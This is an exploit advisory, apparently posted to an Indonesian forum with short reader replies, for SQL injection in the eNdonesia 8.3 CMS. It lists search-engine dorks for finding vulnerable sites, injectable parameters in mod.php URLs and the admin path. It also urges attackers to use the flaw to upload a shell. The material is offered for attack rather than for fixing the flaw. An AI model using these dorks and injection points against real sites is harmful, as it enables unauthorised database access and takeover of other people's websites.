eNdonesia 8.3 SQL Injection Vulnerability

#########################################################
# Title : eNdonesia 8.3 SQL Injection Vulnerability
# Author: Z190T
# Download: http://sourceforge.net/projects/endonesia/
# Email : mahruz.id[at]gmail[dot]com
# Date : 01/06/2011
# Dork :
* 1. intext:"Powered by eNdonesia 8.3"
* 2. inurl:"/mod.php?mod=diskusi"
* 3. inurl:"/mod.php?mod=publisher"
# Category : PHP [SQL Injection], RFI [You can,,?, I can]
# Tested on: [Windows SP3, VistaMizer, Win7, Ubuntu,]
#########################################################

*** follow the module or news listed in the table and then attacking..!!
*** it could be to upload shell. use your imagination!

[x] Exploit [x]
*** http://[localhost]/mod.php?mod=diskusi&op=viewdisk&did=242'
*** http://[localhost]/mod.php?mod=diskusi&op=viewdisk&did=[SQLi]
*** http://[localhost]/mod.php?mod=publisher&op=viewcat&cid=5'
*** http://[localhost]/mod.php?mod=publisher&op=viewcat&cid=[SQLi]


[x] adminsite [x]
*** http://[localhost]/admin


[x] DEMO [x]

Spoiler:

=========================================================

numpang nyimak

wah, yg ini kurang ngerti omz. .
nyimak dolo omz. . :mbelajar:

mantab juga pak zigot

celah web indones lagi neeeh bang

bingung nih kalo yang kaya begini,, :pentung: